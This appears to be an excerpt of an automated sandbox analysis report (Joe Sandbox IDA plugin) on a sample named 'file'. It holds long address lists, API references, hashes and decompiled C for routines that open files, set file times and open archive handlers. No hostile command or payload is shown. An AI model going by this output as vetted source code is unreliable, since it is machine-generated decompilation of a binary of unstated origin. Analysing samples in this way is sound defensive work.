0x0040aedc
0x0040aee2
0x0040aee7
0x0040aeeb
0x0040aef6
0x0040aef6
0x0040aeed
0x0040aeef
0x0040aeef
0x0040aefb
0x0040aeff
0x0040af02
0x0040af07
0x0040af0c
0x0040af13
0x0040af13
0x0040af0e
0x0040af0e
0x0040af0e
0x0040af15
0x0040af15
0x0040af26
0x0040af28
0x0040af2a
0x0040af73
0x0040af77
0x0040af79
0x0040b05f
0x0040b069
0x0040b06e
0x0040b071
0x0040b076
0x0040b079
0x0040b07b
0x0040b07e
0x0040b081
0x0040b084
0x0040b087
0x0040b4bf
0x0040b4d8
0x0040b4dd
0x0040b4e1
0x0040b4e9
0x0040b4e9
0x0040b4ec
0x0040b4ef
0x0040b556
0x0040b55b
0x0040b56e
0x0040b572
0x0040b579
0x0040b57b
0x0040b57e
0x0040b599
0x0040b59f
0x0040b5a9
0x0040b5c2
0x0040b5c4
0x0040b5c8
0x0040b5d3
0x0040b5d7
0x0040b5e2
0x0040b5e6
0x0040b5eb
0x0040b5f2
0x0040b5f7
0x0040b5f7
0x0040b5f7
0x0040b5fe
0x00000000
0x00000000
0x00000000
0x00000000
0x0040b580
0x0040b580
0x0040b58e
0x0040b593
0x0040b594
0x0040b594
0x00000000
0x0040b4f1
0x0040b4f7
0x0040b4fb
0x0040b506
0x0040b50a
0x0040b50f
0x0040b517
0x0040b520
0x0040b525
0x0040b52c
0x0040b533
0x0040b533
0x00000000
0x0040b533
0x0040b4ef
0x0040b08d
0x0040b090
0x0040b093
0x0040b099
0x0040b09d
0x0040b0af
0x0040b0bd
0x0040b0c1
0x0040b0c3
0x0040b0c6
0x0040b0c8
0x0040b0f3
0x0040b0f3
0x0040b0f5
0x0040b0f9
0x0040b0fe
0x0040b0fe
0x0040b101
0x0040b104
0x0040b108
0x0040b110
0x0040b115
0x0040b121
0x0040b125
0x0040b12a
0x0040b135
0x0040b139
0x0040b142
0x0040b147
0x0040b149
0x0040b163
0x0040b163
0x0040b167
0x0040b169
0x00000000
0x00000000
0x0040b16f
0x0040b172
0x0040b172
0x0040b175
0x0040b177
0x0040b179
0x0040b2e5
0x0040b2e5
0x0040b2e5
0x0040b2e8
0x0040b2e8
0x0040b2ea
0x0040b2f8
0x0040b2fb
0x0040b2fd
0x0040b2ff
0x0040b310
0x0040b310
0x0040b310
0x0040b313
0x0040b313
0x0040b315
0x0040b44a
0x0040b44e
0x0040b456
0x0040b45a
0x0040b465
0x0040b469
0x0040b474
0x0040b478
0x0040b47d
0x0040b485
0x0040b48e
0x0040b493
0x0040b49d
0x0040b4a4
0x0040b4a9
0x0040b4b0
0x0040b4b5
0x00000000
0x0040b4b5
0x0040b31b
0x00000000
0x0040b31b
0x0040b301
0x0040b304
0x0040b304
0x0040b306
0x00000000
0x00000000
0x0040b308
0x0040b309
0x0040b30c
0x0040b30e
0x00000000
0x00000000
0x00000000
0x0040b30e
0x0040b37e
0x00000000
0x0040b37e
0x0040b2ef
0x0040b2f3
0x00000000
0x0040b2f3
0x0040b17f
0x0040b182
0x0040b182
0x0040b184
0x00000000
0x00000000
0x0040b18a
0x0040b18b
0x0040b18e
0x0040b190
0x00000000
0x00000000
0x00000000
0x0040b192
0x0040b2e1
0x00000000
0x0040b31e
0x0040b325
0x0040b32a
0x0040b32d
0x0040b32e
0x0040b331
0x0040b331
0x00000000
0x0040b14b
0x0040b14b
0x0040b158
0x0040b15d
0x0040b160
0x0040b160
0x0040b160
0x00000000
0x0040b14b
0x0040b149
0x0040b0ca
0x0040b0cd
0x0040b0d0
0x0040b0d3
0x0040b382
0x0040b384
0x0040b388
0x0040b38d
0x0040b38d
0x0040b396
0x0040b39a
0x0040b3a5
0x0040b3a9
0x0040b3ae
0x0040b3b6
0x0040b3bf
0x0040b3c4
0x0040b3cb
0x0040b3d2
0x0040b42c
0x0040b42f
0x0040b434
0x0040b43b
0x0040b440
0x00000000
0x0040b440
0x0040b0e6
0x0040b0e8
0x0040b0ea
0x0040b3d9
0x0040b3dc
0x0040b3e0
0x0040b3e2
0x0040b3e7
0x0040b3e7
0x0040b3f0
0x0040b3f4
0x0040b3ff
0x0040b403
0x0040b408
0x0040b408
0x0040b408
0x0040b410
0x0040b419
0x0040b41e
0x0040b425
0x00000000
0x0040b425
0x0040b0f0
0x00000000
0x0040b33a
0x0040b340
0x0040b34c
0x0040b352
0x0040b356
0x0040b35e
0x0040b362
0x0040b367
0x0040b368
0x0040b36b
0x0040b36b
0x0040b374
0x0040b377
0x00000000
0x00000000
0x00000000
0x00000000
0x0040af7f
0x0040af7f
0x0040af88
0x0040af8d
0x0040af90
0x0040af93
0x0040af97
0x0040af9d
0x0040afa1
0x0040afa3
0x0040afa8
0x0040afaa
0x0040afac
0x00000000
0x00000000
0x0040afb2
0x0040afb5
0x0040afb9
0x0040afbd
0x0040afeb
0x0040afeb
0x0040afef
0x0040b270
0x0040b273
0x0040b277
0x0040b279
0x0040b27e
0x0040b27e
0x0040b287
0x0040b28b
0x0040b296
0x0040b29a
0x0040b29f
0x0040b2a7
0x0040b2b0
0x0040b2b5
0x0040b2bf
0x0040b2c6
0x0040b2cb
0x0040b2cb
0x0040b2cb
0x0040b2d2
0x00000000
0x0040b2d2
0x0040affb
0x0040b000
0x0040b004
0x0040b00c
0x0040b00c
0x0040b011
0x0040b017
0x0040b018
0x0040b01d
0x0040b020
0x0040b024
0x0040b026
0x0040b02b
0x0040b02b
0x0040b02e
0x0040b031
0x0040b035
0x0040b037
0x0040b03c
0x0040b03c
0x0040b03f
0x0040b042
0x0040b046
0x0040b048
0x0040b04d
0x0040b04d
0x0040b050
0x0040b056
0x0040b059
0x00000000
0x00000000
0x00000000
0x00000000
0x0040b059
0x0040afbf
0x0040afc3
0x00000000
0x00000000
0x0040afc5
0x0040afc8
0x0040afca
0x0040b202
0x0040b205
0x0040b209
0x0040b20b
0x0040b210
0x0040b213
0x0040b213
0x0040b216
0x0040b218
0x0040b21c
0x0040b221
0x0040b221
0x0040b22a
0x0040b22e
0x0040b239
0x0040b23d
0x0040b242
0x0040b24a
0x0040b253
0x0040b258
0x0040b25f
0x0040b266
0x00000000
0x0040b266
0x0040afd4
0x0040afd9
0x0040afdc
0x0040afe4
0x0040afe4
0x00000000
0x0040afdc
0x0040b197
0x0040b19a
0x0040b19e
0x0040b1a0
0x0040b1a5
0x0040b1a5
0x0040b1a8
0x0040b1ab
0x0040b1af
0x0040b1b1
0x0040b1b6
0x0040b1b6
0x0040b1bf
0x0040b1c3
0x0040b1ce
0x0040b1d2
0x0040b1d7
0x0040b1df
0x0040b1e8
0x0040b1ed
0x0040b1f4
0x0040b1fb
0x00000000
0x0040af2c
0x0040af32
0x0040af36
0x0040af41
0x0040af45
0x0040af4a
0x0040af52
0x0040af5b
0x0040af60
0x0040af67
0x0040b535
0x0040b538
0x0040b53d
0x0040b544
0x0040b603
0x0040b603
0x00000000
0x0040b603
0x0040af2a
0x0040aea2
0x0040aea9
0x0040aeab
0x0040aead
0x0040aeb0
0x00000000
0x00000000
0x00000000
0x0040ad7f
0x0040ad7f
0x0040ad82
0x0040ad82
0x0040ad84
0x0040ad8c
0x0040ad9c
0x0040ad9c
0x0040ad8e
0x0040ad8e
0x0040ad92
0x0040ad98
0x0040ad98
0x0040ada0
0x0040ada3
0x0040ada8
0x0040ada8
0x0040adae
0x0040adb0
0x0040adb6
0x0040adbc
0x0040adc1
0x0040adc7
0x0040adcb
0x0040adce
0x0040add6
0x0040adea
0x0040adea
0x0040add8
0x0040add8
0x0040addc
0x0040ade0
0x0040ade6
0x0040ade6
0x0040adee
0x0040adf1
0x0040adf6
0x0040adf6
0x0040adfa
0x0040adfd
0x0040ae01
0x0040ae0b
0x0040ae0f
0x0040ae13
0x0040ae17
0x0040ae1d
0x0040ae20
0x0040ae24
0x0040ae29
0x0040ae2c
0x0040ae32
0x0040ae37
0x0040ae37
0x0040ae3c
0x0040ae40
0x0040ae45
0x0040ae45
0x0040ae48
0x0040ae51
0x0040ae54
0x0040ae5d
0x00000000
0x0040ae5d

APIs

__EH_prolog.LIBCMT ref: 0040AD1E

Part of subcall function 0040D7CC: __EH_prolog.LIBCMT ref: 0040D7D1

Part of subcall function 00413310: InitializeCriticalSection.KERNEL32(?,?,?,00000000,00000000), ref: 0041333E

DeleteCriticalSection.KERNEL32(?), ref: 0040AF52
DeleteCriticalSection.KERNEL32(?), ref: 0040B1DF
DeleteCriticalSection.KERNEL32(?), ref: 0040B24A
DeleteCriticalSection.KERNEL32(?), ref: 0040B2A7
DeleteCriticalSection.KERNEL32(?), ref: 0040B3B6
DeleteCriticalSection.KERNEL32(?), ref: 0040B410
DeleteCriticalSection.KERNEL32(?,?,?,00000004,00000004), ref: 0040B485
DeleteCriticalSection.KERNEL32(?), ref: 0040B517

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$Delete$H_prolog$Initialize
String ID:
API String ID: 3452124646-0
Opcode ID: 5f6b8a8cdbdc89edeaeca9fb6a48680f4fe42b6689f54ac84f6a401f85157967
Instruction ID: 06aa0bffc57edc8446930be4fb3d3ecc4288fdccd94c57135405988f21593cb0
Opcode Fuzzy Hash: 5f6b8a8cdbdc89edeaeca9fb6a48680f4fe42b6689f54ac84f6a401f85157967
Instruction Fuzzy Hash: 5D625E7090024ADFDB14DFA4C944BDDBBB4EF14308F1480AEE815B72D2DB789A49DB99

Uniqueness

Uniqueness Score: -1.00%

Function 004059B3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 80%

			E004059B3(void** __ecx) {
				signed int _t23;
				void* _t24;
				signed int _t26;
				intOrPtr* _t29;
				signed int _t31;
				void** _t50;
				void* _t52;
				intOrPtr _t57;

				E00413954(E00419734, _t52);
				_t57 =  *0x423148; // 0x1
				_t50 = __ecx;
				if(_t57 != 0) {
					_t23 = E00405A63(__ecx);
					__eflags = _t23;
					if(_t23 != 0) {
						_t14 = _t52 + 0x14; // 0x414be4
						_t24 = CreateFileW( *(_t52 + 8),  *(_t52 + 0xc),  *(_t52 + 0x10), 0,  *_t14,  *(_t52 + 0x18), 0); // executed
						__eflags = _t24 - 0xffffffff;
						_t19 = _t24 != 0xffffffff;
						__eflags = _t19;
						 *_t50 = _t24;
						_t23 = 0 | _t19;
					}
				} else {
					E00401C80(_t52 - 0x18,  *(_t52 + 8));
					 *((intOrPtr*)(_t52 - 4)) = 0;
					_t26 = AreFileApisANSI();
					asm("sbb eax, eax");
					_push( ~_t26 + 1);
					_t29 = E00403D04(_t52 - 0x24);
					 *((char*)(_t52 - 4)) = 1;
					_t8 = _t52 + 0x14; // 0x414be4
					_t31 = E0040597A(_t50, _t57,  *_t29,  *(_t52 + 0xc),  *(_t52 + 0x10),  *_t8,  *(_t52 + 0x18));
					E00403A9C( *((intOrPtr*)(_t52 - 0x24)));
					E00403A9C( *((intOrPtr*)(_t52 - 0x18)));
					_t23 = _t31;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t52 - 0xc));
				return _t23;
			}

0x004059b8
0x004059c3
0x004059ca
0x004059cc
0x00405a27
0x00405a2c
0x00405a2e
0x00405a34
0x00405a41
0x00405a49
0x00405a4c
0x00405a4c
0x00405a4f
0x00405a51
0x00405a51
0x004059ce
0x004059d4
0x004059d9
0x004059dc
0x004059e4
0x004059ed
0x004059ee
0x004059fa
0x004059fe
0x00405a08
0x00405a12
0x00405a1a
0x00405a20
0x00405a22
0x00405a58
0x00405a60

APIs

__EH_prolog.LIBCMT ref: 004059B8
AreFileApisANSI.KERNEL32(?,?,00000000,00000003,?,00000000,?,00000000), ref: 004059DC

Part of subcall function 0040597A: CreateFileA.KERNEL32(?,00000001,?,00000000,?,?,00000000,?,KA,00405A0D,?,?,?,KA,?,00000001), ref: 0040599C

CreateFileW.KERNELBASE(?,?,?,00000000,KA,?,00000000,?,00000000,00000003,?,00000000,?,00000000), ref: 00405A41

Strings

KA, xrefs: 00405A34, 004059FE

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$Create$ApisH_prolog
String ID: KA
API String ID: 1948390111-4133974868
Opcode ID: f88b55b959810e929b2353b4b1d1eb61229a220c48e216d77a80ee84dd8b33a8
Instruction ID: 6ceee1153368ae3910bf8b124445a1a72b78f4c7609cf7ab69cd6f34e54ac91e
Opcode Fuzzy Hash: f88b55b959810e929b2353b4b1d1eb61229a220c48e216d77a80ee84dd8b33a8
Instruction Fuzzy Hash: E0118E72A00109EFCF01AFA4D8818DE7F76EF08318F10412AF512B21A1CB398A65DF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040483F Relevance: 6.0, APIs: 4, Instructions: 36
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040483F(WCHAR* __ecx, FILETIME* __edx, FILETIME* _a4, FILETIME* _a8) {
				void* _t5;
				int _t7;
				signed int _t10;
				FILETIME* _t13;
				void* _t15;
				void* _t17;

				_t10 = 0;
				_t17 =  *0x423148 - _t10; // 0x1
				_t13 = __edx;
				if(_t17 != 0) {
					_t5 = CreateFileW(__ecx, 0x40000000, 3, 0, 3, 0x2000000, 0); // executed
					_t15 = _t5;
					if(_t15 != 0xffffffff) {
						_t7 = SetFileTime(_t15, _t13, _a4, _a8); // executed
						_t10 = 0 | _t7 != 0x00000000;
						CloseHandle(_t15);
					}
					return _t10;
				}
				SetLastError(0x78);
				return 0;
			}

0x00404840
0x00404842
0x00404849
0x0040484b
0x0040486b
0x00404871
0x00404876
0x00404882
0x0040488b
0x0040488e
0x0040488e
0x00000000
0x00404896
0x0040484f
0x00000000

APIs

SetLastError.KERNEL32(00000078,0041B370,00000000,00402AAF,00000000,?,?,?,?), ref: 0040484F
CreateFileW.KERNELBASE(?,40000000,00000003,00000000,00000003,02000000,00000000,?,0041B370,00000000,00402AAF,00000000,?,?,?,?), ref: 0040486B
SetFileTime.KERNELBASE(00000000,00000000,?,?,?,40000000,00000003,00000000,00000003,02000000,00000000,?,0041B370,00000000,00402AAF,00000000), ref: 00404882
CloseHandle.KERNEL32(00000000,?,40000000,00000003,00000000,00000003,02000000,00000000,?,0041B370,00000000,00402AAF,00000000,?,?,?), ref: 0040488E

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$CloseCreateErrorHandleLastTime
String ID:
API String ID: 2291555494-0
Opcode ID: ff746e65f9cee30ffc8bafec341a8eb05b102094c88bf525f6141f2248b114e2
Instruction ID: 64467d0e5ceda328e6e32eae128236dd02d513a4ef1926b956b8d25c0d97de23
Opcode Fuzzy Hash: ff746e65f9cee30ffc8bafec341a8eb05b102094c88bf525f6141f2248b114e2
Instruction Fuzzy Hash: B4F0E2762803507BE2302B60AC48F9B6E5CDBC9B25F108535B2A5A20E0C2294D1992B8

Uniqueness

Uniqueness Score: -1.00%

Function 00408524 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 328
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E00408524(intOrPtr* __ecx) {
				intOrPtr* _t153;
				signed int _t157;
				intOrPtr _t162;
				signed int _t163;
				signed int _t165;
				signed int _t169;
				signed int _t171;
				signed int _t172;
				signed int _t178;
				signed int _t179;
				signed int _t185;
				void* _t187;
				signed int _t190;
				void* _t196;
				char* _t201;
				signed int _t203;
				signed int _t205;
				intOrPtr _t210;
				signed int _t220;
				signed int _t222;
				void* _t225;
				signed int _t231;
				intOrPtr _t257;
				intOrPtr _t278;
				signed int* _t289;
				signed int _t292;
				intOrPtr _t293;
				intOrPtr _t295;
				void* _t297;

				E00413954(E00419AE4, _t297);
				_t289 = __ecx;
				_t292 = 0;
				_t153 =  *((intOrPtr*)(__ecx));
				if(_t153 != 0) {
					 *((intOrPtr*)( *_t153 + 8))(_t153);
					 *((intOrPtr*)(__ecx)) = 0;
				}
				 *(_t289 + 0x34) = _t292;
				 *( *(_t289 + 0x30)) = _t292;
				E0040455D(_t289 + 4);
				 *(_t297 - 4) = _t292;
				 *(_t297 - 0x20) = _t292;
				 *(_t297 - 0x1c) = _t292;
				 *(_t297 - 0x18) = _t292;
				E00402170(_t297 - 0x20, 3);
				_t157 =  *(_t297 - 0x28);
				 *(_t297 - 4) = 1;
				if(_t157 == _t292) {
					L11:
					E004032A8(_t297 - 0x68, 4);
					 *((intOrPtr*)(_t297 - 0x68)) = 0x41b378;
					__eflags =  *(_t297 + 0xc) - _t292;
					 *(_t297 - 4) = 3;
					if( *(_t297 + 0xc) < _t292) {
						_t231 =  *(_t297 + 8);
						 *(_t297 + 0xc) = _t292;
						__eflags =  *(_t231 + 0x10);
						if( *(_t231 + 0x10) <= 0) {
							L18:
							__eflags =  *(_t297 + 0x10);
							if( *(_t297 + 0x10) != 0) {
								L22:
								_t292 = 0;
								__eflags = 0;
								L23:
								__eflags =  *((intOrPtr*)(_t297 - 0x60)) - _t292;
								 *(_t297 + 0xc) = _t292;
								if( *((intOrPtr*)(_t297 - 0x60)) <= _t292) {
									L37:
									_t293 = 1;
									L38:
									 *(_t297 - 4) = 1;
									E004042AD(_t297 - 0x68);
									E00403A9C( *(_t297 - 0x20));
									E00403A9C( *((intOrPtr*)(_t297 - 0x2c)));
									_t162 = _t293;
									L39:
									 *[fs:0x0] =  *((intOrPtr*)(_t297 - 0xc));
									return _t162;
								} else {
									goto L24;
								}
								do {
									L24:
									_t163 =  *(_t297 + 0x10);
									__eflags = _t163 - _t292;
									if(_t163 == _t292) {
										L26:
										 *(_t297 + 8) = _t292;
										 *(_t297 - 4) = 4;
										_t165 =  *( *((intOrPtr*)(_t297 - 0x5c)) +  *(_t297 + 0xc) * 4);
										 *(_t289 + 0x1c) = _t165;
										E0040640D(_t297 + 8,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t231 + 0x14)) + _t165 * 4)) + 4))());
										_t169 =  *(_t297 + 8);
										__eflags = _t169 - _t292;
										if(_t169 != _t292) {
											__eflags =  *(_t297 + 0x10) - _t292;
											if( *(_t297 + 0x10) == _t292) {
												 *(_t297 - 0x14) = _t292;
												 *(_t297 - 4) = 5;
												 *((intOrPtr*)( *_t169))(_t169, 0x41b1f8, _t297 - 0x14);
												_t171 =  *(_t297 - 0x14);
												__eflags = _t171 - _t292;
												if(_t171 == _t292) {
													_t172 =  *(_t297 + 8);
													 *(_t297 - 4) = 3;
													__eflags = _t172 - _t292;
													if(_t172 != _t292) {
														 *((intOrPtr*)( *_t172 + 8))(_t172);
													}
													 *(_t297 - 4) = 1;
													E004042AD(_t297 - 0x68);
													E00403A9C( *(_t297 - 0x20));
													E00403A9C( *((intOrPtr*)(_t297 - 0x2c)));
													_t162 = 0x80004001;
													goto L39;
												}
												 *((intOrPtr*)(_t297 - 0x10)) =  *((intOrPtr*)( *_t171 + 0xc))(_t171,  *((intOrPtr*)(_t297 + 0x14)));
												_t178 =  *(_t297 - 0x14);
												__eflags = _t178 - _t292;
												 *(_t297 - 4) = 4;
												if(_t178 != _t292) {
													 *((intOrPtr*)( *_t178 + 8))(_t178);
												}
												L33:
												__eflags =  *((intOrPtr*)(_t297 - 0x10)) - 1;
												if( *((intOrPtr*)(_t297 - 0x10)) != 1) {
													__eflags =  *((intOrPtr*)(_t297 - 0x10)) - _t292;
													if( *((intOrPtr*)(_t297 - 0x10)) == _t292) {
														 *(_t297 - 0x54) = _t292;
														 *(_t297 - 0x52) = _t292;
														_t179 =  *(_t297 + 8);
														 *(_t297 - 4) = 6;
														 *((intOrPtr*)( *_t179 + 0x20))(_t179, 0x37, _t297 - 0x54);
														__eflags =  *(_t297 - 0x54) - _t292;
														if( *(_t297 - 0x54) != _t292) {
															__eflags =  *(_t297 - 0x54) - 8;
															_t201 =  *(_t297 - 0x4c);
															if( *(_t297 - 0x54) != 8) {
																_t201 = L"Unknown error";
															}
															E00401D1B(_t289 + 0x30, _t201);
														}
														 *(_t297 - 4) = 4;
														E00405E34(_t297 - 0x54);
														E0040640D(_t289,  *(_t297 + 8));
														_t295 =  *((intOrPtr*)( *((intOrPtr*)(_t231 + 0x14)) +  *(_t289 + 0x1c) * 4));
														__eflags =  *(_t295 + 0x20);
														if( *(_t295 + 0x20) != 0) {
															_t185 = E004088CE(_t295, _t297 - 0x20);
															__eflags = _t185;
															if(_t185 < 0) {
																_t185 = 0;
																__eflags = 0;
															}
															_t257 =  *((intOrPtr*)(_t295 + 0x24));
															_t143 =  *((intOrPtr*)(_t257 + _t185 * 4)) + 0xc; // 0xc
															_push( *((intOrPtr*)(_t257 + _t185 * 4)));
															_t187 = E00407D82(_t297 - 0x50, _t297 - 0x2c);
															 *(_t297 - 4) = 0xa;
															E00401D7A(_t289 + 0x10, _t187);
															E00403A9C( *((intOrPtr*)(_t297 - 0x50)));
														} else {
															E00401C80(_t297 - 0x44, 0x423338);
															 *(_t297 - 4) = 7;
															E00401C80(_t297 - 0x38, 0x423338);
															_push(_t297 - 0x44);
															_push(_t297 - 0x38);
															 *(_t297 - 4) = 8;
															_t196 = E00407D82(_t297 - 0x50, _t297 - 0x2c);
															 *(_t297 - 4) = 9;
															E00401D7A(_t289 + 0x10, _t196);
															E00403A9C( *((intOrPtr*)(_t297 - 0x50)));
															E00403A9C( *((intOrPtr*)(_t297 - 0x38)));
															E00403A9C( *((intOrPtr*)(_t297 - 0x44)));
														}
														_t190 =  *(_t297 + 8);
														 *(_t297 - 4) = 3;
														__eflags = _t190;
														if(_t190 != 0) {
															 *((intOrPtr*)( *_t190 + 8))(_t190);
														}
														_t293 = 0;
													} else {
														_t203 =  *(_t297 + 8);
														 *(_t297 - 4) = 3;
														__eflags = _t203 - _t292;
														if(_t203 != _t292) {
															 *((intOrPtr*)( *_t203 + 8))(_t203);
														}
														_t293 =  *((intOrPtr*)(_t297 - 0x10));
													}
													goto L38;
												}
												_t205 =  *(_t297 + 8);
												 *(_t297 - 4) = 3;
												__eflags = _t205 - _t292;
												if(_t205 != _t292) {
													 *((intOrPtr*)( *_t205 + 8))(_t205);
												}
												goto L36;
											}
											 *((intOrPtr*)(_t297 - 0x10)) =  *((intOrPtr*)( *_t169 + 0xc))(_t169,  *(_t297 + 0x10), 0x41b5f8,  *((intOrPtr*)(_t297 + 0x18)));
											goto L33;
										}
										 *(_t297 - 4) = 3;
										goto L36;
									}
									_t210 =  *((intOrPtr*)( *_t163 + 0x10))(_t163, _t292, _t292, _t292, _t292);
									__eflags = _t210 - _t292;
									if(_t210 != _t292) {
										_t293 = _t210;
										goto L38;
									}
									goto L26;
									L36:
									 *(_t297 + 0xc) =  *(_t297 + 0xc) + 1;
									__eflags =  *(_t297 + 0xc) -  *((intOrPtr*)(_t297 - 0x60));
								} while ( *(_t297 + 0xc) <  *((intOrPtr*)(_t297 - 0x60)));
								goto L37;
							}
							__eflags =  *(_t297 + 0xc) - 1;
							if( *(_t297 + 0xc) == 1) {
								E004042EB(_t297 - 0x68, 1);
								goto L22;
							}
							_t293 = 0x80004001;
							goto L38;
						} else {
							goto L14;
						}
						do {
							L14:
							__eflags = E004088CE( *((intOrPtr*)( *((intOrPtr*)(_t231 + 0x14)) + _t292 * 4)), _t297 - 0x20);
							if(__eflags < 0) {
								E004039DF(_t297 - 0x68, _t292);
							} else {
								 *(_t297 + 0xc) =  *(_t297 + 0xc) + 1;
								E00404407(_t297 - 0x68, __eflags,  *(_t297 + 0xc));
								 *(( *(_t297 + 0xc) << 2) +  *((intOrPtr*)(_t297 - 0x5c))) = _t292;
								_t231 =  *(_t297 + 8);
							}
							_t292 = _t292 + 1;
							__eflags = _t292 -  *(_t231 + 0x10);
						} while (_t292 <  *(_t231 + 0x10));
						goto L18;
					}
					E004039DF(_t297 - 0x68,  *(_t297 + 0xc));
					_t231 =  *(_t297 + 8);
					goto L23;
				} else {
					_t278 =  *((intOrPtr*)(_t297 - 0x2c));
					_t220 = _t278 + _t157 * 2 - 2;
					while( *_t220 != 0x2e) {
						if(_t220 == _t278) {
							_t222 = _t220 | 0xffffffff;
							__eflags = _t222;
							L9:
							__eflags = _t222 - _t292;
							if(_t222 >= _t292) {
								__eflags = _t222 + 1;
								_t225 = E00401E19(_t297 - 0x2c, _t297 - 0x44, _t222 + 1);
								 *(_t297 - 4) = 2;
								E00401D7A(_t297 - 0x20, _t225);
								 *(_t297 - 4) = 1;
								E00403A9C( *((intOrPtr*)(_t297 - 0x44)));
							}
							goto L11;
						} else {
							_t220 = _t220;
							continue;
						}
					}
					_t222 = _t220 - _t278 >> 1;
					goto L9;
				}
			}

0x00408529
0x00408534
0x00408536
0x00408538
0x0040853c
0x00408541
0x00408544
0x00408544
0x00408549
0x00408552
0x00408555
0x0040855f
0x00408562
0x00408565
0x00408568
0x0040856b
0x00408570
0x00408573
0x00408579
0x004085c5
0x004085ca
0x004085cf
0x004085d6
0x004085d9
0x004085dd
0x004085ef
0x004085f2
0x004085f5
0x004085f9
0x0040863c
0x0040863c
0x00408640
0x0040865c
0x0040865c
0x0040865c
0x0040865e
0x0040865e
0x00408661
0x00408664
0x00408733
0x00408735
0x00408736
0x00408739
0x0040873d
0x00408745
0x0040874d
0x00408753
0x00408756
0x0040875c
0x00408764
0x00000000
0x00000000
0x00000000
0x0040866a
0x0040866a
0x0040866a
0x0040866d
0x0040866f
0x00408683
0x00408683
0x0040868c
0x00408690
0x00408693
0x004086a3
0x004086a8
0x004086ab
0x004086ad
0x004086b5
0x004086b8
0x004086d0
0x004086df
0x004086e3
0x004086e5
0x004086e8
0x004086ea
0x0040876b
0x0040876e
0x00408772
0x00408774
0x00408779
0x00408779
0x0040877f
0x00408783
0x0040878b
0x00408793
0x00408799
0x00000000
0x0040879e
0x004086f5
0x004086f8
0x004086fb
0x004086fd
0x00408701
0x00408706
0x00408706
0x00408709
0x00408709
0x0040870d
0x004087a1
0x004087a4
0x004087bf
0x004087c3
0x004087c7
0x004087d3
0x004087d7
0x004087da
0x004087de
0x004087e0
0x004087e5
0x004087e8
0x004087ea
0x004087ea
0x004087f3
0x004087f3
0x004087fb
0x004087ff
0x00408809
0x00408814
0x00408817
0x0040881b
0x0040887f
0x00408884
0x00408886
0x00408888
0x00408888
0x00408888
0x0040888a
0x00408893
0x00408897
0x0040889b
0x004088a4
0x004088a8
0x004088b0
0x0040881d
0x00408826
0x0040882f
0x00408833
0x0040883e
0x00408842
0x00408846
0x0040884a
0x00408853
0x00408857
0x0040885f
0x00408867
0x0040886f
0x00408874
0x004088b6
0x004088b9
0x004088bd
0x004088bf
0x004088c4
0x004088c4
0x004088c7
0x004087a6
0x004087a6
0x004087a9
0x004087ad
0x004087af
0x004087b4
0x004087b4
0x004087b7
0x004087b7
0x00000000
0x004087a4
0x00408713
0x00408716
0x0040871a
0x0040871c
0x00408721
0x00408721
0x00000000
0x0040871c
0x004086cb
0x00000000
0x004086cb
0x004086af
0x00000000
0x004086af
0x00408678
0x0040867b
0x0040867d
0x00408767
0x00000000
0x00408767
0x00000000
0x00408724
0x00408724
0x0040872a
0x0040872a
0x00000000
0x0040866a
0x00408642
0x00408646
0x00408657
0x00000000
0x00408657
0x00408648
0x00000000
0x00000000
0x00000000
0x00000000
0x004085fb
0x004085fb
0x0040860a
0x0040860c
0x00408631
0x0040860e
0x0040861a
0x0040861d
0x00408625
0x00408628
0x00408628
0x00408636
0x00408637
0x00408637
0x00000000
0x004085fb
0x004085e5
0x004085ea
0x00000000
0x0040857b
0x0040857b
0x0040857e
0x00408582
0x0040858a
0x00408596
